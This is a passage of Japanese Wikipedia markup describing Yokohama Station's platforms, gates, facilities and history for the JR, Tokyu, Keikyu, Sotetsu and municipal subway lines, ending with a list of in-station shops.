|
|-
|[[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
|style="text-align:center;"|南行
|[[藤沢駅|藤沢]]・[[平塚駅|平塚]]・小田原方面
|
|-
!rowspan="2"|10
|[[File:JR JO line symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀・総武線(快速)]]
|style="text-align:center;"|上り
|品川・東京・[[千葉駅|千葉]]方面<br />{{Color|#0067c0|■}}特急「[[成田エクスプレス]]」<!-- 成田空港は記載されていない-->
|
|-
|[[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
|style="text-align:center;"|北行
|[[渋谷駅|渋谷]]・[[新宿駅|新宿]]・大宮方面
|
|}
(出典:[http://www.jreast.co.jp/estation/stations/1638.html JR東日本:駅構内図])
<gallery widths="180" heights="130px">
JR Yokohama Station Central North Gates.jpg|中央通路のJR線中央北改札(2019年6月)
JR Yokohama Station Central South Gates.jpg|中央通路のJR線中央南改札(2019年6月)
JR Yokohama Station South Gates.jpg|みなみ通路のJR線南改札(2019年6月)
JR Yokohama Station CIAL Gates.jpg|シァル改札(2021年4月)
Yokohama Station Keikyu Transfer Gates.jpg|京急乗換改札(2019年6月)
横浜みなみ.JPG|JR線中央北改札内<!--北側コンコース-->(2008年2月)<!--改札から見える位置にエレベーターが設置されている-->
横浜駅北通路.JPG|JR線中央南改札内<!--南側コンコース-->(2008年2月)
横浜駅きた通路.JPG|JR線北改札内(2008年2月)
横浜駅南通路.JPG|JR線南改札内(改装工事前)(2008年2月)
<!--Akaikutsu in Yokohama Station.jpg|中央通路に設置されている[[赤い靴#赤い靴の像|赤い靴の女の子像]]([[スケールモデル|ミニチュア]]版)--><!--トップに掲載-->
Ecute EDITION Yokohama Entrance 1.jpg|エキュートエディション横浜南改札側入口(2020年9月)
Ecute EDITION Yokohama Entrance 2.jpg|エキュートエディション横浜中央南改札側入口(2020年9月)
Ecute EDITION Yokohama SOUTH COURT.jpg|エキュートエディション横浜内待合広場「SOUTH COURT」(2020年9月)
JR Yokohama Station Platform 3・4 (20210418).jpg|3・4番線ホーム(2021年4月)
JR Yokohama Station Platform 5・6.jpg|5・6番線ホーム(2019年6月)
JR Yokohama Station Platform 7・8.jpg|7・8番線ホーム(2019年6月)
JR Yokohama Station Platform 9・10.jpg|9・10番線ホーム(2019年6月)
横浜駅JR線ホーム.jpg|9・10番線ホーム東京側から大船側を望む(2004年11月)
JR Yokohama Tower from JR Yokohama Station Platform 10.jpg|10番線ホームから見たJR横浜タワーのガレリア・通路(2020年10月)
JR Yokohama Tower - NEWoMan Garden from above.jpg|10番線の線路上空にはJR横浜タワーの屋外デッキが張り出しており、また落下物対策として屋根も張られている
</gallery>
=== 東急電鉄・横浜高速鉄道 ===
{{駅情報
|社色 = #ee0011
|文字色 =
|駅名 = 東急・横浜高速鉄道 横浜駅
|画像 = Tokyu-Yokohama-STA South-Gate.jpg
|pxl = 300
|画像説明 = 南改札(地下3階)
|よみがな = よこはま
|ローマ字 = Yokohama
|電報略号 =
|所属事業者 = {{Plainlist|
* [[東急電鉄]]
* [[横浜高速鉄道]]}}
|所在地 = [[横浜市]][[西区 (横浜市)|西区]][[南幸]]一丁目1-1
|座標 = {{coord|35|27|58.5|N|139|37|20|E|region:JP_type:railwaystation|name=東急・横浜高速 横浜駅}}
|開業年月日 = [[1928年]]([[昭和]]3年)[[5月18日]]
|駅構造 = [[地下駅]]
|ホーム = 1面2線
|廃止年月日=
|乗降人員 = {{Smaller|(東急電鉄)-2022年-}}<br />308,749<ref group="**">みなとみらい線との直通人員を含む値。</ref>人/日<hr />{{Smaller|(横浜高速鉄道)-2022年-}}<br />178,865<ref group="**">東横線との直通人員を含む値。</ref>
|統計年度 =
|乗入路線数= 2
|所属路線1 = {{color|#da0442|■}}[[東急東横線]]<ref group="**" name="direct">両線で[[直通運転|相互直通運転]]実施</ref>
|駅間A1 = 0.9
|前の駅1 = TY20 [[反町駅|反町]]
|駅番号1 = {{駅番号r|TY|21|#da0442|3}}
|キロ程1 = 24.2
|起点駅1 = [[渋谷駅|渋谷]]
|所属路線2 = {{color|#09357f|■}}[[横浜高速鉄道みなとみらい線]]<ref group="**" name="direct" />
|駅間B2 = 0.8
|次の駅2 = [[新高島駅|新高島]] MM02
|駅番号2 = {{駅番号r|MM|01|#09357f|3}}
|キロ程2 = 0.0
|起点駅2 = 横浜
|乗換 =
|備考 = [[共同使用駅]](東急電鉄の管轄駅)
|備考全幅 = {{Reflist|group="**"}}
}}
地下5階にある島式ホーム1面2線を有する[[地下駅]]である。東急電鉄と横浜高速鉄道の[[共同使用駅]]で、財産上は駅中央部を境に両社の折半所有となっているが、管轄は東急電鉄が担当している。東急最南端の駅である。なお、みなとみらい線の運転業務は東急電鉄に委託されているため、原則として当駅での乗務員交代は行われない。
東横線渋谷寄りに[[分岐器|シーサスポイント]]があり、深夜帯における当駅折り返し電車が使用するほか、輸送障害発生時に使用する場合もある。東横線の下り[[終電|最終列車]]は当駅止まりで到着後に夜間留置され、翌朝に当駅始発のみなとみらい線下り列車となる。
改札は地下3階に2か所あり、渋谷寄りから正面改札と南改札となっている。地下1階への出入口ごとおよびフロアごとにそれぞれ3色のアクセントカラーを設定している。フロアごとのアクセントカラーの色は、地下2階がオレンジ色、地下3階が緑色、地下5階が水色。出入口ごとのアクセントカラーの色は、北口が緑色、中央口がオレンジ色、南口が水色。ホーム7号車付近(階段下)に[[待合所|待合室]]が1か所設置されていたが、2008年6月に撤去された。
ホームと改札との間に階段のほか、エレベーターとエスカレーターが設置されている。エスカレーターは4か所あり、改札寄りは階段と並行して上下各1組、中程は上下各2基となっている。時間帯によっては通常より若干速い高速運転で供用される場合がある。改札階では、階段・エスカレーターとも4か所すべてが同じ方向を向いている。改札外のエスカレーターは改札階の地下3階と南北自由通路の地下2階の間は3ルートともある。当初は地下2階と地下1階の間は中央通路と南改札を結ぶルートのみにあり、他の2ルートは工事中だったが、2007年11月までにすべてのルートにエスカレーターが設置された。南北自由通路を経由すれば中央通路と正面改札の間も階段を使わない移動は可能である。
南改札寄りのエスカレーターは階段と上下各1本のエスカレーターが並行して改札階とホーム階を直接結んでいる。正面改札寄りのエスカレーターは地下4階で分割されており、階段とエスカレーターを乗り継ぐこともできる。
エレベーターは各通路ごとに1基ずつ設置されている。
[[便所|トイレ]]は地下3階改札口内にある。[[ユニバーサルデザイン|多機能]]トイレは男女各トイレに併設しており、[[オストメイト]]対応となっている。
2013年3月16日から開始された東横線と[[東京メトロ副都心線]]との[[直通運転|相互直通運転]]開始に向け、特急・通勤特急・急行の10両編成列車に対応するためのホーム[[有効長]]延伸工事を行い、1号車寄りと8号車寄りにそれぞれ1両分ずつホームを延伸した<ref>{{Cite web|和書|url= http://www.tokyu.co.jp/railway/activity/#home|title=東急線の取り組み|accessdate=2015-02-24}}</ref>。
自治体の補助を受けてホームドアの設置がされ、2015年3月7日の始発より稼働している<ref name="2015-03-08">{{Cite web|和書|url=https://railf.jp/news/2015/03/08/181500.html |title=東急東横線・みなとみらい線横浜駅でホームドアの使用開始 |website=[[鉄道ファン (雑誌)|鉄道ファン]]〈railf.jp〉 |publisher=[[交友社]] |date=2015-03-08 |accessdate=2015-03-09}}</ref>。
有料座席指定列車「[[S-TRAIN]]」は、土曜・休日ダイヤのみ東横線・みなとみらい線に入線し、当駅にも停車する。当駅からみなとみらい線内のみの乗車はできない(東横線内のみの乗車や[[自由が丘駅]] - [[みなとみらい駅]]といった区間は乗車可)<ref>[http://www.seibu-group.co.jp/railways/news/news-release/2016/__icsFiles/afieldfile/2017/01/10/s-train.pdf 2017年3月25日(土)から「S-TRAIN」運行開始!] 西武鉄道株式会社 2017年1月10日</ref>。
2017年7月21日には、JR線での観光列車「[[THE ROYAL EXPRESS]]」(東急催行)の運行開始に合わせて、南北自由通路に「THE ROYAL EXPRESS」クルーズプラン乗客専用ラウンジが新設され、同年8月末には、ラウンジの隣に一般客も利用可能なカフェ「THE ROYAL CAFE YOKOHAMA」がオープンした<ref>{{Cite news|url=https://trafficnews.jp/post/76808 |title=東急とJRの駅長が共同作業 伊豆観光列車「ザ ロイヤルエクスプレス」運転開始 |newspaper=乗りものニュース |publisher=乗りものニュース編集部 |date=2017年7月21日 |accessdate=2018年9月5日}}</ref>。
==== のりば ====
<!--方面表記は、東急電鉄の「PDF時刻表」の記載に準拠(東急電鉄の管轄のため)-->
{| class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!方向!!行先
|-
!1
|[[File:Number prefix Minatomirai.svg|15px|MM]] みなとみらい線
|style="text-align:center;"|下り
|[[みなとみらい駅|みなとみらい]]・[[元町・中華街駅|元町・中華街]]方面<ref>{{Cite web|和書|url=https://www.tokyu.co.jp/railway/timetable/pdf/202303_ty21_yokohama2.pdf|title=みなとみらい線標準時刻表 横浜駅 元町・中華街方面|publisher=東急電鉄|accessdate=2023-03-18}}</ref>
|-
!2
|[[File:Tokyu TY line symbol.svg|15px|TY]] 東横線
|style="text-align:center;"|上り
|[[渋谷駅|渋谷]]・[[池袋駅|池袋]]・[[川越市駅|川越市]]・[[所沢駅|所沢]]方面<ref>{{Cite web|和書|url=https://www.tokyu.co.jp/railway/timetable/pdf/202303_ty21_yokohama.pdf|title=東横線標準時刻表 横浜駅 渋谷方面|publisher=東急電鉄|accessdate=2023-03-18}}</ref>
|}
* みなとみらい線との直通を行う前の東横線は相対式ホーム2面2線の高架駅であり、2004年1月30日の営業終了までは中央自由通路に通じる改札と渋谷側にあった[[CIAL]]直結の改札口および桜木町方にあった相鉄線方面の改札口(地下化工事の最中に設置)があり、JRとの有人連絡改札も設置されていた<ref>[https://web.archive.org/web/20020614064342fw_/http://www.tokyu.co.jp/train/shisetsu/shisetsu_yokohama.html 東急横浜駅](東京急行電鉄ホームページ・インターネットアーカイブ・2002年6月時点)。</ref>。その前(国鉄東海道線と横須賀線の分離運転前)は島式1面2線の高架駅であり、のりば番号は国鉄線に続いて9・10番線となっていた。
* 2023年3月18日の[[東急新横浜線]]開業以降、車両運用の都合で東急電鉄の5050系4000番台に限り、東急の横浜駅と相鉄の横浜駅の双方のホームに乗り入れる<ref>相鉄の横浜駅には、[[東急目黒線|目黒線]]用の8両編成である3000系・3020系・5080系も乗り入れる。</ref>。
<gallery widths="180" heights="130px">
Toyoko Line Yokohama Station (2004-01).jpg|旧東横線高架ホーム(2004年1月)
Tokyu Toyoko Line Gate 202307300813.jpg|東横線・みなとみらい線改札口(2023年7月)
Tokyu Toyoko Line platform 202307300811.jpg|東横線・みなとみらい線ホーム(2023年7月)
</gallery>
=== 京浜急行電鉄 ===
{{駅情報
|社色 = #00bfff
|文字色 =
|駅名 = 京急 横浜駅
|副駅名 = そごう・ポルタ前
|画像 = Keikyu Yokohama-STA Central-Gate.jpg
|pxl = 300
|画像説明 = 京急線中央改札口(2023年8月)
|よみがな = よこはま
|ローマ字 = Yokohama
|前の駅 = KK36 [[神奈川駅|神奈川]]
|駅間A = 0.7
|駅間B = 1.2
|次の駅 = [[戸部駅|戸部]] KK38
|電報略号 =
|駅番号 = {{駅番号r|KK|37|#00bfff|4||#00386d}}
|所属事業者 = [[京浜急行電鉄]](京急)
|所属路線 = {{color|#00bfff|■}}[[京急本線|本線]]
|キロ程 = 22.2
|起点駅 = [[品川駅|品川]]
|所在地 = [[横浜市]][[西区 (横浜市)|西区]][[高島 (横浜市)|高島]]二丁目16-1
|座標 = {{coord|35|27|58|N|139|37|23|E|region:JP_type:railwaystation|name=京急 横浜駅}}
|駅構造 = [[地上駅]]
|ホーム = 2面2線(上下別)
|開業年月日 = {{Nowrap|[[1930年]]([[昭和]]5年)[[2月5日]]}}
|廃止年月日 =
|乗降人員 = 275,692
|統計年度 = 2022年
|乗換 =
|備考 =
}}
12両編成対応の上下方向別[[単式ホーム]]で、JR線ホームの南隣に位置する。1930年の開業当初は島式1面2線、その後1944年2月に現在と同じ2面2線となったものの、1974年5月に再度[[島式ホーム]]1面2線となった。しかし、利用客の増加が続いたため、混雑緩和のために2006年7月に東口側に下り専用ホームが設置された<ref group="京急">[https://web.archive.org/web/20061008183648/http://www.keikyu.co.jp/corporate/press/mk_auto/060707.shtml 横浜駅下りホーム新設のお知らせ。2006年7月22日(土)より使用開始](京浜急行電鉄報道発表資料・インターネットアーカイブ・2006年時点の版)。</ref><ref>{{Cite web|和書|url= http://www.keikyu.co.jp/csr/safety/pdf/anzen18all.pdf|format=PDF |title=平成18年度 鉄道安全報告書|accessdate=2013-10-02}}</ref>。1番線に上大岡・三浦海岸方面、2番線に羽田空港・品川方面の列車が発着する。
新しい下りホームなどの設置は[[国土交通省]]の鉄道駅総合改善事業費補助制度によるもので、この制度では[[第三セクター]]に対し国や自治体から補助金が拠出されることから、資本関係にある第三セクターの[[横浜高速鉄道]]が関係施設を保有して事業主体となり京急が受託する形で工事が行われた<ref>横浜高速鉄道株式会社・有価証券報告書 第24期 第一部3.(3) 京浜急行・横浜駅の駅総合改善事業(北部改札と、みなみ通路への接続通路も補助対象)</ref>。工事以前は極めて小さいながら独立した駅舎を持っていたが、この下りホーム設置により撤去された。跡地は下りホームと直結する地下1階・地上8階建ての駅ビルが2008年に開業し、同社のオフィスをはじめ、飲食店や[[コンビニエンスストア]]が入居している。
改札はきた・中央の両通路およびみなみ通路への連絡路に面して設置されている他、中央自由通路の北側にJRとの連絡改札がある。2004年1月までは北側の跨線橋上にも連絡改札があった。[[1987年]]から2006年3月17日にかけては相鉄口改札(乗り換え改札ではない)が設置されていたが、みなみ通路に連絡する南改札開設に伴い閉鎖された。
階段やエスカレーターなどは各改札からそれぞれホームへと連絡している。エレベーターは中央通路(およびJRとの乗り換え)ときた通路へ上下線ホームから各1台ずつ、計4台が設置されている。みなみ通路との連絡は階段のみである。
京急線中央改札口のコンコース内は、2008年2月15日に「エキポート横浜」としてリニューアルし、飲食店などのテナントが入居している<ref group="新聞">{{Cite news |url= http://www.hamakei.com/headline/3021/ |title=京急線横浜駅に新規7店舗-「エキナカ」充実で集客狙う |publisher=ヨコハマ経済新聞 |accessdate=2013-10-02}}</ref>。
2015年5月21日に副駅名「[[そごう横浜店|そごう]]・[[横浜ポルタ|ポルタ]]前」を導入<ref group="京急">{{Cite web|和書|url=http://www.keikyu.co.jp/company/news/2015/20150519HP_15034MI.html |title=京急 横浜駅に副駅名称を導入します |publisher=京浜急行電鉄 |date=2015-05-19 |accessdate=2015-05-21}}</ref>。2019年にはホームドアが設置された<ref group="京急" name="keikyu/201991912" />。
当駅は開業当初から待避設備はないが、かつては一部の下り普通が途中駅無停車の下りハイキング特急を待避していた。まず下り線で客扱いをした普通は、一旦品川寄りの渡り線を通って上り線に転線、その後ハイキング特急を待避して、再び下り線に転線していた。途中駅無停車は下りのみで、上りは途中駅無停車の列車はなかった。この渡り線は現在も残されており、大晦日から元日にかけて[[泉岳寺駅]] - 当駅間で[[終夜運転]]を行う際にも毎年使用されているほか、早朝に神奈川新町駅から回送され、当駅始発上り電車となる際の転線に使用される。
1番線・2番線共に、[[駅自動放送]]が導入されており、1番線は[[関根正明]]、2番線は[[大原さやか]]が担当している。2020年に英語、中国語、韓国語にも対応した。
当駅は京浜急行電鉄では最大の乗降人員を擁するが、[[ウィング号 (京急)|モーニング・ウィング号]]および[[ウィング号 (京急)|イブニング・ウィング号]]は混雑緩和・遠近分離のため停車しない。
==== のりば ====
<!--方面表記は、京急電鉄の「駅構内図」の記載に準拠-->
{| class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!方向!!行先
|-
!1
|rowspan="2"|[[File:Number prefix Keikyū.svg|15px|KK]] 本線
|style="text-align:center;"|下り
|[[上大岡駅|上大岡]]・[[三浦海岸駅|三浦海岸]]方面
|-
!2
|style="text-align:center;"|上り
|[[羽田空港第1・第2ターミナル駅|羽田空港]]方面<!--空港アイコンは[[プロジェクト:鉄道#過剰なマークアップは控える]]より使用は非推奨--> / [[品川駅|品川]]方面
|}
(出典:[https://www.keikyu.co.jp/ride/kakueki/KK37.html 京急電鉄:駅構内図])
<gallery widths="180" heights="130px">
Keikyu Yokohama-STA North-Gate.jpg|北改札(2023年5月)
Keikyu Yokohama-STA South-Gate.jpg|南改札(2023年8月)
Keikyu Yokohama-STA Platform1.jpg|1番線ホーム(2023年5月)
Keikyu Yokohama-STA Platform2.jpg|2番線ホーム(2023年5月)
京急本線横浜駅 駅名標.jpg|駅名標
</gallery>
==== 接近メロディ ====
2008年12月23日から、横浜の情景を歌った[[いしだあゆみ]]の代表曲「[[ブルー・ライト・ヨコハマ]]」をアレンジしたものを[[発車メロディ#接近メロディ|接近メロディ]]として使用している<ref>{{Cite press release|和書|url=http://www.keikyu.co.jp/corporate/press/press_files/081114.shtml |title=16駅の駅メロディ採用曲が決定いたしました! |publisher=京浜急行電鉄 |date=2008-11-14 |accessdate=2015-06-11 |archiveurl=https://web.archive.org/web/20081201154848/http://www.keikyu.co.jp/corporate/press/press_files/081114.shtml |archivedate=2008-12-01 |deadlinkdate=2015年06月}}</ref><ref>{{Cite web|和書|url=https://www.oricon.co.jp/news/60169/full/|title=京急「駅メロ」に、EXILE、ゆず、ゴジラ |publisher=ORICON STYLE |accessdate=2013-10-02}}</ref>。メロディは[[スイッチ (音楽制作会社)|スイッチ]]の制作で、編曲は[[塩塚博]]が手掛けた<ref>{{Cite web|和書|title=テレビ、出ちゃいました。|url=https://blog.goo.ne.jp/tetsunomusician/e/dcf0b1804b8a18f6c1d4b6dee76440af|website=☆♪☆ 鉄のみゅーじしゃん ☆♪☆|accessdate=2020-03-14|language=ja|publisher=塩塚博}}</ref>。
=== 相模鉄道 ===
{{駅情報
|社色 = #0c1e56
|文字色 =
|駅名 = 相鉄 横浜駅
|画像 = Soutetsu Yokohama station.jpg
|pxl = 300
|画像説明 = 相鉄 横浜駅が入居する新相鉄ビル
|よみがな = よこはま
|ローマ字 = Yokohama
|次の駅 = [[平沼橋駅|平沼橋]] SO02
|駅間B = 0.9
|電報略号 = ハマ
|駅番号 = {{駅番号r|SO|01|#0072c2|3}}
|所属事業者 = [[相模鉄道]](相鉄)
|所属路線 = {{Color|#0c1e56|■}}[[相鉄本線|本線]]
|キロ程 = 0.0
|起点駅 = 横浜
|所在地 = [[横浜市]][[西区 (横浜市)|西区]][[南幸]]一丁目5-1
|座標 = {{coord|35|27|57|N|139|37|18.5|E|region:JP_type:railwaystation|name=相鉄 横浜駅}}
|駅構造 = [[高架駅]]
|ホーム = 4面3線
|開業年月日 = [[1933年]]([[昭和]]8年)[[12月27日]]
|廃止年月日 =
|乗降人員 = 329,228
|統計年度 = 2022年
|乗換 =
|備考 =
}}
地上2階にある[[頭端式ホーム]]4面3線を有する[[高架駅]]である<ref name="sotetsu">{{Cite web|和書|url= https://www.sotetsu.co.jp/train/station/yokohama.html|title= 横浜駅 |publisher= 相鉄グループ |accessdate=2014-03-24}}</ref>。相鉄が管理する駅としては最東端の駅である。
現在の駅舎は3代目で、[[相鉄ジョイナス]]と相鉄会館(髙島屋の部分)を含む新相鉄ビルの一部として、[[1971年]](昭和46年)[[8月1日]]に供用開始。1番線と2番線用降車ホーム、2番線用乗車ホームと3番線が、それぞれ同一の島を構成する。ホーム有効長はいずれも10両編成分である。全てのホームに[[ホームドア]]が設置されている。
当駅に到着する列車は、初電より15時までの到着列車は、降車ホーム側のドアを開けた直後に乗車ホーム側のドアも開き、利用客はどちらのドアからも下車ができる。一方15時以降の到着列車は、降車ホーム側のドアのみが開き、全員が下車したことを確認後にそのドアが閉まり、到着列車の運転士が乗車ホーム側のドアを開ける(整列乗車)。
改札は2階の端(頭端部)とホーム中程の階段を降りた1階に分かれ、1階の改札は地下鉄駅側と駅ビル(五番街)側の2方向に設置されている。1階の改札と2階の各ホームの間は階段があり、1階の改札と3番線降車ホームとの間にエレベーターがある。
1階改札口には自動改札機が23台設置されており、1か所の設置台数としては関東地方で最多である<ref>松宮史佳「[https://hamarepo.com/story.php?story_id=3637 日本一ってウワサは本当? 相鉄線横浜駅の多すぎる改札機の謎を徹底調査!]」『はまれぽ.com』 アイ・テイ・エー、2014年12月20日</ref>。
2010年12月12日から2階改札付近からJR線みなみ改札への連絡通路が新設された。連絡通路は2階 - 地下1階をエスカレーター(両方向)で結んでいる。この通路付近に1987年から2006年3月17日にかけて京急線への連絡通路が存在していた。
2012年3月に、改札口付近に運行情報ディスプレイが<ref group="相鉄">{{Cite web|和書|url=https://www.sotetsu.co.jp/news_release/archives/PDF/120301_01.pdf |format=PDF |title=4月1日(日)から全駅に運行情報ディスプレイを設置 |publisher=相模鉄道 |date=2012-03-01 |accessdate=2015-06-11}}</ref>、1番線・3番線の車止め部分に大型のデジタルサイネージがそれぞれ設置された<ref>{{Cite web|和書|url= http://www.koutsu-navi.com/news/wp-content/uploads/2012/03/sotetsu_yokohama_digitalsignage_2012-0309.pdf |format=PDF |title=相鉄線横浜駅デジタルサイネージのご案内です|publisher=交通広告ナビ|accessdate=2013-10-02}}</ref>。
2015年12月7日、3番線に常設のものとしては相鉄初となるホームドアの設置が開始され、翌2016年3月6日の始発より稼働している<ref group="相鉄" name="sotetsu_psd3">{{Cite press release|和書|title=3月から使用開始 横浜駅にホームドアを設置します|publisher=相模鉄道(株)|date=2015-12-07|url=https://www.sotetsu.co.jp/news_release/pdf/151207_01.pdf|archive=|format=PDF|accessdate=2016-01-18}}</ref><ref name="2016-03-07">{{Cite web|和書|url=https://railf.jp/news/2016/03/07/201500.html |title=相鉄横浜駅3番線で可動式ホーム柵の運用が始まる |website=[[鉄道ファン (雑誌)|鉄道ファン]]〈railf.jp〉 |publisher=[[交友社]] |date=2016-03-07 |accessdate=2023-08-02}}</ref>。その後2番線のホームドアは同年12月20日より<ref group="相鉄" name="sotetsu_psd2">{{Cite web|和書|url=https://www.sotetsu.co.jp/train/info/323.html|archiveurl=https://web.archive.org/web/20161227112634/https://www.sotetsu.co.jp/train/info/323.html|title=横浜駅2番線ホームドア運用開始のご案内|publisher=相模鉄道|accessdate=2016-12-20|archivedate=2016-12-27|deadlinkdate=2023-08-04}}</ref>、1番線のホームドアも2017年2月21日より稼働し、全ホームへの整備が完了した<ref group="相鉄" name="sotetsu_psd1">{{Cite web|和書|url=https://cdn.sotetsu.co.jp/archives/train/info/333.html|archiveurl=https://web.archive.org/web/20200425062707/https://cdn.sotetsu.co.jp/archives/train/info/333.html|title=横浜駅1番線ホームドア運用開始のご案内|date=|archivedate=2020-04-25|accessdate=2023-08-02|publisher=[[相鉄ホールディングス]]|language=日本語|deadlinkdate=}}</ref>。
==== のりば ====
{| class="wikitable"
|+ {{nobr|[[File:Sotetsu line symbol.svg|15px|SO]] [[相鉄本線|本線]] [[海老名駅|海老名]]・[[湘南台駅|湘南台]]・[[羽沢横浜国大駅|羽沢横浜国大]]{{smaller|(西谷乗り換え)}}方面<ref>{{Cite web|和書|url=https://cdn.sotetsu.co.jp/media/2023/train/stations/yokohama_02.pdf |title=横浜 駅構内マップ |publisher=相模鉄道 |accessdate=2023-06-05}}</ref>}}
!番線<!-- 事業者側による呼称 -->!!各停!!快速!!特急
|-
!rowspan="2"| 1
|style="text-align:center;"|早朝・深夜以外
| colspan="2" style="text-align:center;" | -
|-
| colspan="3" rowspan="2" |(1・2番線 降車専用ホーム)
|-
!rowspan="2"|2
|-
|rowspan="2" style="text-align:center;"|早朝・深夜
| rowspan="2" style="text-align:center;" |終日
|全日朝・土休日夜
|-
!rowspan="2"|3
|style="text-align:center;"|終日
|-
| colspan="3" |(3番線 降車専用ホーム)
|}
(出典:[https://www.sotetsu.co.jp/train/stations/yokohama/ 相模鉄道:駅構内マップ])
<gallery widths="180" heights="130px">
横浜駅相鉄線改札(みなみ通路側).jpg|1階改札口(2004年11月)
Sotetsu Yokohama Station 1F Gate Inside.jpg|1階改札口(2021年12月)
Sotetsu Yokohama Station - Gobangai Gate.jpg|五番街改札口(2019年3月)
Sotetsu-Yokohama-Sta-2F-Gate.JPG|2階改札口(2016年6月)
Sotetsu yokohama station platform.JPG|2階改札口内
Sotetsu yokohama station platform-track1.JPG|主に各駅停車が使用する1番線
Sotetsu yokohama station platform-track3.jpg|主に急行 特急が使用する3番線 (早朝と深夜は各駅停車も使用)
</gallery>
=== 横浜市営地下鉄 ===
{{駅情報
|社色 = #0d6aad
|文字色 =
|駅名 = 横浜市営地下鉄 横浜駅
|画像 = Subway-Yokohama-Sta-Platform.JPG
|pxl = 300
|画像説明 = ホーム(2016年5月)
|よみがな = よこはま
|ローマ字 = Yokohama
|副駅名 = 相鉄ジョイナス前
|前の駅 = B19 [[高島町駅|高島町]]
|駅間A = 0.9
|駅間B = 1.4
|次の駅 = [[三ツ沢下町駅|三ツ沢下町]] B21
|電報略号 =
|駅番号 = {{駅番号r|B|20|#414fa3|6}}
|所属事業者 = [[横浜市交通局]]([[横浜市営地下鉄]])
|所属路線 = {{color|#414fa3|■}}[[横浜市営地下鉄ブルーライン|ブルーライン(3号線)]]
|キロ程 = 2.8 km([[関内駅|関内]]起点)<br />[[湘南台駅|湘南台]]から22.5
|起点駅 =
|所在地 = [[横浜市]][[西区 (横浜市)|西区]][[南幸]]一丁目9番B-2号<ref>『横浜市高速鉄道建設史II』 横浜市交通局、2004年3月、72ページ</ref>
|座標 = {{coord|35|27|54|N|139|37|13|E|region:JP_type:railwaystation|name=横浜市営地下鉄 横浜駅}}
|駅構造 = [[地下駅]]
|ホーム = 1面2線
|開業年月日 = [[1976年]]([[昭和]]51年)[[9月4日]]
|廃止年月日 =
|乗降人員 = 124,525
|統計年度 = 2022年
|乗換 =
|備考 = [[日本の鉄道駅#直営駅|直営駅]]
}}
島式ホーム1面2線を有する地下駅。ホームは地下3階にある。1番線に湘南台方面、2番線にあざみ野方面の列車が発着する。副名称は「[[相鉄ジョイナス]]前」とされており、改札口の一つとして「ジョイナス(旧[[ザ・ダイヤモンド]])改札口」が存在する。早朝に[[あざみ野駅|あざみ野]]方面のみ始発列車が設定されている(関内駅から回送)<ref>{{Cite web|和書|url=http://www.city.yokohama.lg.jp/koutuu/sub/time/pdf/time-b20dpr.pdf|title=横浜市交通局ブルーライン横浜駅時刻表<湘南台方面>(for Shonandai) |accessdate=2013-10-02}}</ref><ref>{{Cite web|和書|url=http://www.city.yokohama.lg.jp/koutuu/sub/time/pdf/time-b20upr.pdf|title=横浜市交通局ブルーライン横浜駅時刻表<あざみ野方面>(for Azamino)|accessdate=2013-10-02}}</ref>。横浜市営地下鉄の中で年間の利用者数が最も多い駅である。
[[駅長]]・副駅長所在駅。横浜管区駅として[[三ツ沢上町駅|三ツ沢上町]] - [[高島町駅|高島町]]間を管理している<ref>[http://www.city.yokohama.lg.jp/ex/reiki/reiki_honbun/g202RG00001001.html 横浜市交通局現業機関設置規程]</ref>。
<!--市営地下鉄構内のパブリックアート等は以下に掲載-->
<gallery widths="150" heights="100px">
Sori Yanagi Relief.JPG|地下1階「ハマリンロード」に設置されていた、[[柳宗理]]『港の精』(1976年)。設置場所に「ドコモショップ ブルーライン横浜駅店」が開店したため、2010年10月に撤去。
YMSB Yokohama - Emblem.jpg|地下1階の階段、2カ所に設置されている、横浜市交通局の章標をモチーフとしたモザイクアート(1976年設置)。
</gallery>
==== のりば ====
{|class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!行先<ref>{{Cite web|和書|url=https://navi.hamabus.city.yokohama.lg.jp/koutuu/pc/detail/Station?id=00000838 |title=横浜の駅情報 駅構内図 |publisher=横浜市交通局 |accessdate=2023-06-04}}</ref>
|-
!1
|rowspan="2"|[[File:Yokohama Municipal Subway Blue Line symbol.svg|15px|B]] ブルーライン
|[[湘南台駅|湘南台]]方面
|-
!2
|[[あざみ野駅|あざみ野]]方面
|}
* 上表の路線名は旅客案内上の名称(愛称)で記載している。
<gallery widths="180" heights="130">
横浜駅地下鉄線改札.jpg|JR側改札口(2004年11月)
</gallery>
{{clear}}
== 駅構内店舗 ==
[[File:FamilyMart Hamarin Yokohama station.jpg|thumb|ファミリーマート はまりん横浜駅店]]
[[File:FamilyMart Hamarin Yokohama station Mini.jpg|thumb|ファミリーマート はまりん横浜駅ミニ店]]
{{columns-list|2|
* [[JR東日本クロスステーション|NewDaysキヨスク]]<ref>{{Cite web|和書|url=http://shop-search.j-retail.jp/spot/list?bc=eNqLjgUAARUAuQ%3D%3D&search-target=search_word&word=%E3%82%AD%E3%83%A8%E3%82%B9%E3%82%AF&c_dctxt03=00000838&bc=eNqLjgUAARUAuQ%3D%3D |title=検索結果 |publisher=エキナカポータル |accessdate=2015-06-11}}</ref>
** 横浜東口店・横浜中央通路店 - 改札外、中央通路内
** 横浜中央北改札内店 - JR北口改札内
** 横浜横須賀線ホーム店 - JR9・10番線ホーム
** 横浜みなみ改札店‐JR南口改札内
* [[NewDays]]<ref>{{Cite web|和書|url=http://shop-search.j-retail.jp/spot/list?bc=eNqLjgUAARUAuQ%3D%3D&search-target=search_word&word=%E3%83%8B%E3%83%A5%E3%83%BC%E3%83%87%E3%82%A4%E3%82%BA&c_dctxt03=00000838&bc=eNqLjgUAARUAuQ%3D%3D |title=検索結果 |publisher=エキナカポータル |accessdate=2015-06-11}}</ref>
** 横浜南口店 - JR南改札コンコース内
** 横浜中央北店 - 中央北口改札内
** 横浜中央店 - 改札外、中央通路沿い京急改札脇
** 横浜北口店 - 北改札外
* [[崎陽軒]]<ref>{{Cite web|和書|url=http://www.kiyoken.com/shop/kanagawa.html |title=崎陽軒の店舗情報|神奈川県 |publisher=崎陽軒 |accessdate=2013-10-02}}</ref>
** 横浜駅中央店 - 中央通路JR改札付近
** 横浜駅京浜東北・根岸線ホーム店 - JR3・4番線ホーム
** 横浜駅東海道線下りホーム店 - 5・6番線ホーム
** みなとみらい線横浜駅店 - 東急東横線・みなとみらい線改札内
